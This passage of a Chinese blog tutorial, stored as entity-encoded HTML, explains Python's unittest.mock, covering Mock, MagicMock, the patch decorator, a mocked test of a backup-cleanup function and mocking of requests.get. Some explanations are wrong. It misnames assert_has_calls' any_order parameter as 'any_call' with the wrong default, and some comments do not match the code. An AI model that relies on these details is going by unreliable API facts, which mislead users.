&#x5BF9;&#x8C61;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x5B83;&#x7684; name&#x3002;</p><p><code>spec_set</code>&#xFF1A;&#x66F4;&#x52A0;&#x4E25;&#x683C;&#x7684;&#x8981;&#x6C42;&#xFF0C;spec_set=True &#x65F6;&#xFF0C;&#x5982;&#x679C;&#x8BBF;&#x95EE; mock &#x4E0D;&#x5B58;&#x5728;&#x5C5E;&#x6027;&#x6216;&#x65B9;&#x6CD5;&#x4F1A;&#x62A5;&#x9519;&#x3002;</p><p><code>spec</code>: &#x53C2;&#x6570;&#x53EF;&#x4EE5;&#x628A;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x8BBE;&#x7F6E;&#x4E3A; Mock &#x5BF9;&#x8C61;&#x7684;&#x5C5E;&#x6027;&#x3002;&#x8BBF;&#x95EE; mock &#x5BF9;&#x8C61;&#x4E0A;&#x4E0D;&#x5B58;&#x5728;&#x7684;&#x5C5E;&#x6027;&#x6216;&#x65B9;&#x6CD5;&#x65F6;&#xFF0C;&#x5C06;&#x4F1A;&#x629B;&#x51FA;&#x5C5E;&#x6027;&#x9519;&#x8BEF;&#x3002;</p><p>&#x521B;&#x5EFA; mock &#x5BF9;&#x8C61;&#x7684;&#x65B9;&#x5F0F;&#x5C31;&#x662F; <code>mock.Mock()</code><br>&#x7ED9; mock &#x5BF9;&#x8C61;&#x8FDB;&#x884C;&#x5177;&#x4F53;&#x8BBE;&#x7F6E;&#x7684;&#x65B9;&#x5F0F;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment"># &#x5047;&#x8BBE;&#x6709;&#x53E6;&#x5916;&#x4E00;&#x4E2A;&#x51FD;&#x6570;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mock_func</span>(): <span class="comment"># &#x505A;&#x4E00;&#x4E9B;&#x64CD;&#x4F5C;&#xFF0C;&#x7136;&#x540E;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x503C;</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">30</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. &#x521B;&#x5EFA; mock &#x5BF9;&#x8C61;&#x53EF;&#x4EE5;&#x8FD9;&#x6837;</span></span><br><span class="line"></span><br><span class="line">mock_obj = mock.Mock(return_value=<span class="number">20</span>,side_effect=mock_func, name=<span class="string">&apos;mock_obj&apos;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. &#x6216;&#x8005;&#x8FD9;&#x6837;&#xFF1A;</span></span><br><span class="line"></span><br><span class="line">mock_obj = mock.Mock()</span><br><span class="line">mock_obj.return_value = <span class="number">20</span></span><br><span class="line">mock_obj.side_effect = mock_func</span><br><span class="line"></span><br><span class="line"><span class="comment"># mock_func &#x548C; return_value &#x540C;&#x65F6;&#x5B58;&#x5728;&#xFF0C;&#x6240;&#x4EE5;&#x6A21;&#x62DF;&#x66FF;&#x6362;&#x4E4B;&#x540E;&#xFF0C;&#x8FD4;&#x56DE;&#x7684;&#x503C;&#x662F; 30</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x53E6;&#x5916;&#xFF0C;MagicMock &#x662F; Mock &#x7684;&#x4E00;&#x4E2A;&#x5B50;&#x7C7B;&#xFF0C;&#x5177;&#x6709;&#x5927;&#x591A;&#x6570;&#x9B54;&#x6CD5;&#x65B9;&#x6CD5;(Magic Method)&#x7684;&#x9ED8;&#x8BA4;&#x5B9E;&#x73B0;&#x3002;&#x5728; mock.patch &#x4E2D; new &#x53C2;&#x6570;&#x5982;&#x679C;&#x6CA1;&#x5199;&#xFF0C;&#x9ED8;&#x8BA4;&#x521B;&#x5EFA;&#x7684;&#x662F; MagicMock&#x3002;<br>Python &#x4E2D;&#x9B54;&#x65B9;&#x65B9;&#x6CD5;&#x5C31;&#x662F;&#x4EE5;&#x4E24;&#x4E2A;&#x4E0B;&#x753B;&#x7EBF;&#x5F00;&#x5934;&#x548C;&#x7ED3;&#x5C3E;&#x7684;&#x65B9;&#x6CD5;&#x5982;: <code>__new__()</code>&#xFF0C;<code>__init__()</code>&#x3002;</p><p>&#x4F7F;&#x7528; MagicMock &#x548C; Mock &#x7684;&#x573A;&#x666F;&#xFF1A;&#x4F7F;&#x7528; MagicMock &#x5219;&#x9700;&#x8981;&#x9B54;&#x6CD5;&#x65B9;&#x6CD5;&#x7684;&#x573A;&#x666F;&#xFF0C;&#x5982;&#x8FED;&#x4EE3;&#x4F7F;&#x7528; Mock &#x5219;&#x4E0D;&#x9700;&#x8981;&#x9B54;&#x6CD5;&#x65B9;&#x6CD5;&#x7684;&#x573A;&#x666F;&#x53EF;&#x4EE5;&#x7528; Mock</p><p>&#x597D;&#x4E86;&#xFF0C;&#x7EE7;&#x7EED;&#x8BF4;&#x4E0A;&#x9762;&#x7684;&#x6D4B;&#x8BD5;&#x4EE3;&#x7801;&#xFF0C;&#x4E0A;&#x9762;&#x7684;&#x6D4B;&#x8BD5;&#x4EE3;&#x7801;&#x4E2D; <code>patch()</code> &#x6A21;&#x62DF;&#x4E86;&#x4E00;&#x4E2A;&#x51FD;&#x6570;(&#x540C;&#x6837;&#x7684;&#xFF0C;<code>patch.object()</code> &#x53EF;&#x4EE5;&#x6A21;&#x62DF;&#x4E00;&#x4E2A;&#x7C7B;)&#x3002;<br><code>@patch(&apos;os.remove&apos;)</code>, <code>@patch(&apos;os.path&apos;)</code> &#x90FD;&#x662F;&#x88C5;&#x9970;&#x5176;&#x7D27;&#x8DDF;&#x7740;&#x7684;&#x51FD;&#x6570;&#xFF0C;&#x5982; <code>test_rm(self, mock_path, mock_remove)</code>,<br>&#x8FD9;&#x91CC;&#x53C2;&#x6570; <code>mock_path, mock_remove</code> &#x7684;&#x987A;&#x5E8F;&#x4E0D;&#x80FD;&#x9519;&#xFF0C;&#x6309;&#x7167;&#x88C5;&#x9970;&#x987A;&#x5E8F;&#x4ECE;&#x4E0B;&#x5230;&#x4E0A;&#x5728;&#x8FD9;&#x91CC;&#x4ECE;&#x5DE6;&#x5230;&#x53F3;&#x6392;&#x5E8F;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x5C31;&#x662F;&#x5148;&#x6A21;&#x62DF;&#x751F;&#x6210;&#x4E86; <code>mock_path</code>, &#x540E;&#x751F;&#x6210;&#x4E86; <code>mock_remove</code>&#x3002;</p><p><code>mock.patch()</code> &#x7684;&#x5B9A;&#x4E49;&#x662F;:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">unittest.mock.patch(target, new=DEFAULT, spec=<span class="literal">None</span>, create=<span class="literal">False</span>, spec_set=<span class="literal">None</span>, autospec=<span class="literal">None</span>, new_callable=<span class="literal">None</span>, \*\*kwargs)</span><br></pre></td></tr></table></figure><p>&#x5176;&#x4E2D;&#xFF1A;<br><code>target</code> &#x6307;&#x8981;&#x6A21;&#x62DF;&#x7684;&#x76EE;&#x6807;&#x5BF9;&#x8C61;&#xFF0C;&#x8FD9;&#x91CC;&#x662F; <code>os.remove</code>, <code>os.path</code>&#x3002;</p><p><code>new</code> &#x662F;&#x88AB;&#x6A21;&#x62DF;&#x66FF;&#x6362;&#x540E;&#x7684;&#x5BF9;&#x8C61;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x662F; <code>mock_isfile</code>, <code>mock_remove</code>,<br>&#x56E0;&#x4E3A;&#x5148;&#x662F;&#x4F7F;&#x7528; <code>@patch(&apos;os.path&apos;)</code> &#x88C5;&#x9970;&#x5668;&#x7684;&#xFF0C;&#x6240;&#x4EE5;&#x88AB;&#x521B;&#x5EFA;&#x7684;&#x6A21;&#x62DF;&#x5BF9;&#x8C61; <code>mock_isfile</code> &#x5728;&#x88AB;&#x88C5;&#x9970;&#x7684;&#x51FD;&#x6570; <code>test_rm()</code> &#x4E2D;&#x6392;&#x5728;&#x524D;&#x9762;&#x3002;</p><p><code>spec</code> &#x4E3A; mock &#x5BF9;&#x8C61;&#x6DFB;&#x52A0;&#x5C5E;&#x6027;&#x3002;</p><p><code>create</code> &#x5141;&#x8BB8;&#x8BBF;&#x95EE; mock &#x5BF9;&#x8C61;&#x4E0D;&#x5B58;&#x5728;&#x7684;&#x5C5E;&#x6027;&#x3002;</p><p><code>spec_set</code> &#x5C5E;&#x6027;&#x9650;&#x5236;&#xFF0C;&#x5F53;&#x8BBF;&#x95EE; mock &#x5BF9;&#x8C61;&#x4E0D;&#x5B58;&#x5728;&#x7684;&#x5C5E;&#x6027;&#x65F6;&#x4F1A;&#x62A5;&#x9519;&#x3002;</p><p><code>autospec</code> &#x6807;&#x8BB0; mock &#x5BF9;&#x8C61;&#x5C5E;&#x6027;&#x5168;&#x90E8;&#x88AB; spec &#x66FF;&#x6362;&#x3002;</p><p><code>new_callable</code> &#x6A21;&#x62DF;&#x8FD4;&#x56DE;&#x7684;&#x7ED3;&#x679C;&#xFF0C;&#x662F;&#x53EF;&#x8C03;&#x7528;&#x5BF9;&#x8C61;&#xFF0C;&#x4F1A;&#x8986;&#x76D6; new &#x3002;</p><p>&#x6D4B;&#x8BD5;&#x4EE3;&#x7801;&#x4E2D;&#x8FD8;&#x7528;&#x5230;&#x4E86;&#x6784;&#x9020;&#x5668; <code>return_value</code>&#xFF0C;&#x6A21;&#x62DF;&#x88AB;&#x8C03;&#x7528;&#x5BF9;&#x8C61;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#x3002;</p><p>&#x6700;&#x540E;&#x7528;&#x5230;&#x4E86;&#x65AD;&#x8A00;&#xFF1A;<code>assert_called_once_with</code>, &#x8868;&#x793A;&#x6A21;&#x62DF;&#x5BF9;&#x8C61;&#x4EC5;&#x88AB;&#x8C03;&#x7528;&#x4E86;&#x4E00;&#x6B21;&#xFF0C;&#x4E14;&#x4F7F;&#x7528;&#x4E86;&#x6307;&#x5B9A;&#x7684;&#x53C2;&#x6570;&#x3002;&#x7C7B;&#x4F3C;&#x7684;&#x8FD8;&#x6709; <code>assert_called_once</code> &#x8868;&#x793A;&#x4EC5;&#x8C03;&#x7528;&#x4E86;&#x4E00;&#x6B21;&#xFF0C;<code>assert_called_with</code> &#x8868;&#x793A;&#x4F7F;&#x7528;&#x4E86;&#x6307;&#x5B9A;&#x7684;&#x53C2;&#x6570;&#xFF0C;<br><code>assert_called</code> &#x8868;&#x793A;&#x81F3;&#x5C11;&#x8C03;&#x7528;&#x4E86;&#x4E00;&#x6B21;&#xFF0C;<code>assert_not_called</code> &#x6CA1;&#x6709;&#x88AB;&#x8C03;&#x7528;&#x3002;</p><hr><p>&#x901A;&#x8FC7;&#x8FD9;&#x4E2A;&#x4F8B;&#x5B50;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x6211;&#x4EEC;&#x6CA1;&#x6709;&#x771F;&#x6B63;&#x521B;&#x5EFA;&#x5E76;&#x5220;&#x9664;&#x4E00;&#x4E2A;&#x6587;&#x4EF6;&#xFF0C;&#x800C;&#x662F;&#x6A21;&#x62DF;&#x4E86;&#x6587;&#x4EF6;&#x548C;&#x5B83;&#x7684;&#x5220;&#x9664;&#x8FC7;&#x7A0B;&#x3002;</p></li><li class="lvl-2"><p>&#x6D4B;&#x8BD5;&#x7528;&#x4F8B;&#x4E13;&#x6CE8;&#x4E8E;&#x6D4B;&#x8BD5; <code>rm_file</code> &#x51FD;&#x6570;&#x7684;&#x5185;&#x90E8;&#x903B;&#x8F91;&#xFF0C;&#x800C;&#x4E0D;&#x9700;&#x8981;&#x5173;&#x5FC3;&#x6587;&#x4EF6;&#x7CFB;&#x7EDF;&#x7684;&#x5B9E;&#x9645;&#x72B6;&#x6001;&#x3002;</p></li><li class="lvl-2"><p>mock &#x6D4B;&#x8BD5;&#x4F7F;&#x5F97;&#x6D4B;&#x8BD5;&#x66F4;&#x52A0;&#x7075;&#x6D3B;&#x548C;&#x53EF;&#x63A7;&#xFF0C;&#x6D4B;&#x8BD5;&#x8986;&#x76D6;&#x7387;&#x4E5F;&#x66F4;&#x9AD8;&#x3002;</p></li></ul><p>&#x53E6;&#x4E00;&#x4E2A;&#x66F4;&#x590D;&#x6742;&#x70B9;&#x7684;&#x5220;&#x9664;&#x6587;&#x4EF6;&#x7684;&#x4F8B;&#x5B50;&#xFF1A;</p><figure class="highlight python"><figcaption><span>mymodule.py</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">cleanup_backups</span>(<span class="params">count, backup_path=default_backup_dir</span>):</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">cleanup outdated backup files</span></span><br><span class="line"><span class="string">&#x5220;&#x9664;&#x6307;&#x5B9A;&#x8DEF;&#x5F84;&#x4E0B;&#x6307;&#x5B9A;&#x6570;&#x91CF;&#x7684;&#x5907;&#x4EFD;&#x6587;&#x4EF6;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">if</span> count &lt; <span class="number">0</span>:</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">backups = glob.glob(<span class="string">&quot;{}/\*.gz&quot;</span>.<span class="built_in">format</span>(backup_path))</span><br><span class="line">backups.sort(reverse=<span class="literal">True</span>) <span class="comment"># &#x904D;&#x5386;&#x6700;&#x8001;&#x7684; count &#x4E2A;&#x6587;&#x4EF6;</span></span><br><span class="line"><span class="keyword">for</span> f <span class="keyword">in</span> backups[count:]:</span><br><span class="line">md5sum_file = f.replace(<span class="string">&quot;.gz&quot;</span>, <span class="string">&quot;&quot;</span>) + <span class="string">&quot;.md5sum&quot;</span></span><br><span class="line">os.remove(f) <span class="comment"># &#x5982;&#x679C;&#x5907;&#x4EFD;&#x6587;&#x4EF6;&#x6709;&#x5BF9;&#x5E94;&#x7684; md5sum &#x6587;&#x4EF6;&#xFF0C;&#x4E5F;&#x8FDB;&#x884C;&#x5220;&#x9664;</span></span><br><span class="line"><span class="keyword">if</span> os.path.exists(md5sum_file):</span><br><span class="line">os.remove(md5sum_file)</span><br><span class="line"><span class="keyword">else</span>: <span class="comment"># &#x6CA1;&#x6709;&#x5C31;&#x4E0D;&#x5220;&#x9664;</span></span><br><span class="line">logging.error(<span class="string">&quot;File {} not found, skipping deletion&quot;</span>.<span class="built_in">format</span>(md5sum_file))</span><br><span class="line"><span class="keyword">continue</span> <span class="comment"># &#x8F93;&#x51FA; log &#x4FE1;&#x606F;</span></span><br><span class="line">logging.info(<span class="string">&quot;Deleting expired backup file {}&quot;</span>.<span class="built_in">format</span>(f))</span><br><span class="line">logging.info(<span class="string">&quot;Deleting expired backup file {}&quot;</span>.<span class="built_in">format</span>(md5sum_file))</span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x91CC;&#x8C03;&#x7528;&#x4E86; glob&#xFF0C;os.path, os.remove, logging.error &#x7B49;&#x5916;&#x90E8;&#x51FD;&#x6570;&#x3002;&#x7528; mock &#x65B9;&#x6CD5;&#x6765;&#x6D4B;&#x8BD5;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight python"><figcaption><span>test_mymodule.py</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">TestCleanUpBackups</span>(unittest.TestCase): <span class="comment"># &#x5047;&#x8BBE;&#x7684;&#x5907;&#x4EFD;&#x6587;&#x4EF6;&#x8DEF;&#x5F84;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x63D0;&#x4F9B;&#x771F;&#x5B9E;&#x8DEF;&#x5F84;</span></span><br><span class="line">backup_path = <span class="string">&quot;/path/to/backup/pg-data&quot;</span> <span class="comment"># &#x5047;&#x5982;&#x6709;&#x4EE5;&#x4E0B;&#x5907;&#x4EFD;&#x6587;&#x4EF6;&#xFF0C;&#x4F9B;&#x6A21;&#x62DF;&#x5BF9;&#x8C61;&#x4F7F;&#x7528;&#xFF0C;&#x6587;&#x4EF6;&#x540D;&#x8868;&#x793A;&#x65F6;&#x95F4;&#x6233;</span></span><br><span class="line">backup_files = [</span><br><span class="line"><span class="string">&quot;/path/to/backup/pg-data/20231020.gz&quot;</span>,</span><br><span class="line"><span class="string">&quot;/path/to/backup/pg-data/20231019.gz&quot;</span>,</span><br><span class="line"><span class="string">&quot;/path/to/backup/pg-data/20231018.gz&quot;</span>,</span><br><span class="line"><span class="string">&quot;/path/to/backup/pg-data/20231017.gz&quot;</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&quot;glob.glob&quot;</span></span>)</span></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&quot;os.path.exists&quot;</span></span>)</span></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&quot;os.remove&quot;</span></span>)</span></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&quot;logging.error&quot;</span></span>)</span></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&quot;logging.info&quot;</span></span>)</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">test_cleanup_backups_01</span>(<span class="params"></span></span><br><span class="line"><span class="params">        self, mock_info, mock_error, mock_remove, mock_exists, mock_glob</span></span><br><span class="line"><span class="params">    </span>):</span><br><span class="line">        mock_glob.return_value = backup_files</span><br><span class="line">        <span class="comment"># mock_exists &#x5BF9;&#x5E94;&#x7684;&#x662F; os.path.exists</span></span><br><span class="line">        <span class="comment"># &#x56E0;&#x4E3A;&#x5728;&#x5FAA;&#x73AF;&#x4E86;&#x53EA;&#x88AB;&#x8C03;&#x7528;&#x4E24;&#x6B21;&#xFF0C;&#x6240;&#x6709;&#x5176;&#x7ED3;&#x679C;&#x6709;&#x4E24;&#x6B21;&#x503C;&#xFF0C;[True, True] &#x4EE3;&#x8868;&#x4E24;&#x6B21;&#x5224;&#x65AD;&#x90FD;&#x662F;&#x6587;&#x4EF6;&#x5B58;&#x5728;. [False, True]&#x4EE3;&#x8868;&#x6709;&#x4E2A;&#x6587;&#x4EF6;&#x4E0D;&#x5B58;&#x5728;&#x3002;</span></span><br><span class="line">        <span class="comment"># &#x6240;&#x4EE5;&#x8FD9;&#x91CC;&#x53EF;&#x4EE5;&#x63A7;&#x5236;&#x4EA7;&#x751F;&#x591A;&#x4E2A;&#x6D4B;&#x8BD5; case</span></span><br><span class="line">        <span class="comment"># &#x6D4B;&#x8BD5;&#x6709;&#x4E00;&#x4E2A;&#x6587;&#x4EF6;&#x4E0D;&#x5B58;&#x5728;&#x5BF9;&#x5E94;&#x7684; .md5sum &#x6587;&#x4EF6;&#xFF0C;&#x5219;&#x8DF3;&#x8FC7;&#x5220;&#x9664;</span></span><br><span class="line">        mock_exists.side_effect = [<span class="literal">False</span>, <span class="literal">True</span>]</span><br><span class="line">        <span class="comment"># &#x53EA;&#x5220;&#x9664;&#x6700;&#x8001;&#x7684; 2 &#x4EFD;&#x6587;&#x4EF6;</span></span><br><span class="line">        cleanup_backups(<span class="number">2</span>, <span class="variable language_">self</span>.backup_path)</span><br><span class="line"></span><br><span class="line">        mock_glob.assert_called_with(<span class="string">&quot;{}/*.gz&quot;</span>.<span class="built_in">format</span>(<span class="variable language_">self</span>.backup_path))</span><br><span class="line">        <span class="comment"># &#x8DF3;&#x8FC7;&#x5220;&#x9664;</span></span><br><span class="line">        mock_error.assert_has_calls(</span><br><span class="line">            [</span><br><span class="line">                call(</span><br><span class="line">                    <span class="string">&quot;File /path/to/backup/pg-data/20231018.md5sum not found, skipping deletion&quot;</span></span><br><span class="line">                )</span><br><span class="line">            ]</span><br><span class="line">        )</span><br><span class="line">        <span class="comment"># &#x6240;&#x4EE5;&#x5B9E;&#x9645;&#x53EA;&#x5220;&#x9664;&#x4E00;&#x4E2A;&#x5907;&#x4EFD;&#x6587;&#x4EF6; 20231017</span></span><br><span class="line">        mock_remove.assert_has_calls(</span><br><span class="line">            [</span><br><span class="line">                call(<span class="string">&quot;/path/to/backup/pg-data/20231017.gz&quot;</span>),</span><br><span class="line">            ]</span><br><span class="line">        )</span><br><span class="line">        <span class="comment"># &#x6700;&#x540E;&#x5206;&#x522B;&#x8C03;&#x7528;&#x4E86;&#x4EE5;&#x4E0B; logging.info</span></span><br><span class="line">        mock_info.assert_has_calls(</span><br><span class="line">            [</span><br><span class="line">                call(</span><br><span class="line">                    <span class="string">&quot;Deleting expired backup file /path/to/backup/pg-data/20231017.gz&quot;</span></span><br><span class="line">                ),</span><br><span class="line">                call(</span><br><span class="line">                    <span class="string">&quot;Deleting expired backup file /path/to/backup/pg-data/20231017.md5sum&quot;</span></span><br><span class="line">                ),</span><br><span class="line">            ]</span><br><span class="line">        )</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x91CC;&#x7528;&#x5230;&#x4E86;&#x65AD;&#x8A00; <code>assert_has_calls</code> &#x6765;&#x6A21;&#x62DF;&#x5BF9;&#x8C61;&#x4E0A;&#x8C03;&#x7528;&#x65B9;&#x6CD5;&#x7684;&#x987A;&#x5E8F;&#x548C;&#x53C2;&#x6570;&#xFF0C;&#x91CC;&#x9762;&#x662F;&#x4E00;&#x4E2A;&#x5217;&#x8868; [call(), call()]&#xFF0C;&#x91CC;&#x9762;&#x7684;&#x987A;&#x5E8F;&#x4E0D;&#x80FD;&#x9519;&#x3002;&#x4E0D;&#x8FC7;&#x53EF;&#x4EE5;&#x63A5;&#x6536;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x5141;&#x8BB8;&#x4E0D;&#x4E25;&#x683C;&#x987A;&#x5E8F;&#xFF0C;&#x5982; <code>assert_has_calls(calls, any_call=False)</code>, &#x9ED8;&#x8BA4; <code>any_call</code> &#x662F; True&#x3002;</p><p>&#x8FD8;&#x7528;&#x5230;&#x4E86; <code>side_effect</code> &#x6784;&#x9020;&#x5668;&#xFF0C;&#x6A21;&#x62DF;&#x5BF9;&#x8C61;&#x88AB;&#x8C03;&#x7528;&#x65F6;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#xFF0C;&#x4F1A;&#x8986;&#x76D6; <code>return_value</code>&#x3002;</p><h4 id="2-&#x6A21;&#x62DF;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;">2. &#x6A21;&#x62DF;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;</h4><p>&#x5728;&#x8FDB;&#x884C;&#x5355;&#x5143;&#x6D4B;&#x8BD5;&#x65F6;&#xFF0C;&#x6211;&#x4EEC;&#x5E0C;&#x671B;&#x5C06;&#x6D4B;&#x8BD5;&#x5BF9;&#x8C61;&#x4E0E;&#x5916;&#x90E8;&#x4F9D;&#x8D56;&#xFF08;&#x5982;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF09;&#x9694;&#x79BB;&#xFF0C;&#x4EE5;&#x4FBF;&#x66F4;&#x597D;&#x5730;&#x805A;&#x7126;&#x4E8E;&#x6D4B;&#x8BD5;&#x4EE3;&#x7801;&#x672C;&#x8EAB;&#x3002;&#x6A21;&#x62DF;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x53EF;&#x4EE5;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x63D0;&#x9AD8;&#x6D4B;&#x8BD5;&#x901F;&#x5EA6;: &#x907F;&#x514D;&#x5B9E;&#x9645;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5E26;&#x6765;&#x7684;&#x5EF6;&#x8FDF;&#x3002;</p></li><li class="lvl-2"><p>&#x589E;&#x5F3A;&#x6D4B;&#x8BD5;&#x7A33;&#x5B9A;&#x6027;: &#x907F;&#x514D;&#x56E0;&#x7F51;&#x7EDC;&#x6CE2;&#x52A8;&#x6216;&#x670D;&#x52A1;&#x5668;&#x6545;&#x969C;&#x5BFC;&#x81F4;&#x6D4B;&#x8BD5;&#x5931;&#x8D25;&#x3002;</p></li><li class="lvl-2"><p>&#x65B9;&#x4FBF;&#x6D4B;&#x8BD5;&#x5404;&#x79CD;&#x573A;&#x666F;: &#x53EF;&#x4EE5;&#x7075;&#x6D3B;&#x5730;&#x6A21;&#x62DF;&#x4E0D;&#x540C;&#x7684;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#xFF0C;&#x5305;&#x62EC;&#x6210;&#x529F;&#x3001;&#x5931;&#x8D25;&#x3001;&#x5F02;&#x5E38;&#x7B49;&#x3002;</p></li></ul><p>&#x4F8B;&#x5B50;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight python"><figcaption><span>test_mymodule.py</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> unittest</span><br><span class="line"><span class="keyword">from</span> unittest.mock <span class="keyword">import</span> patch</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_data_from_api</span>():</span><br><span class="line">response = requests.get(<span class="string">&apos;https://api.example.com/data&apos;</span>)</span><br><span class="line"><span class="keyword">return</span> response.json()</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">TestGetDataFromApi</span>(unittest.TestCase):</span><br><span class="line"><span class="meta">@patch(<span class="params"><span class="string">&apos;requests.get&apos;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">test_get_data_from_api</span>(<span class="params">self, mock_get</span>): <span class="comment"># &#x6A21;&#x62DF;&#x8BF7;&#x6C42;&#x8FD4;&#x56DE;&#x7684; response</span></span><br><span class="line">mock_response = mock_get.return_value <span class="comment"># &#x6A21;&#x62DF;&#x8FD4;&#x56DE;&#x72B6;&#x6001;&#x7801;&#x4E3A; 200</span></span><br><span class="line">mock_response.status_code = <span class="number">200</span></span><br><span class="line">mock_response.json.return_value = {<span class="string">&apos;data&apos;</span>: <span class="string">&apos;test&apos;</span>}</span><br><span class="line"></span><br><span class="line">        result = get_data_from_api()</span><br><span class="line">        <span class="keyword">assert</span> result[<span class="string">&apos;data&apos;</span>] == <span class="string">&apos;test&apos;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x6240;&#x4EE5;&#x901A;&#x8FC7; mock &#x53EF;&#x4EE5;&#x5F88;&#x8F7B;&#x677E;&#x7684;&#x6A21;&#x62DF;&#x6D4B;&#x8BD5;&#xFF0C;&#x4E0D;&#x7BA1;&#x662F;&#x72B6;&#x6001;&#x7801;&#x4E3A; 200&#xFF0C;&#x8FD8;&#x662F; 404&#xFF0C;500 &#x7B49;&#x7B49;&#xFF0C;&#x5B8C;&#x5168;&#x4E0D;&#x4F9D;&#x8D56;&#x771F;&#x5B9E;&#x7684;&#x7F51;&#x7EDC;&#x6D4B;&#x8BD5;&#x73AF;&#x5883;&#x3002;</p><h4 id="3-&#x6A21;&#x62DF;&#x6570;&#x636E;&#x5E93;&#x64CD;&#x4F5C;">3. 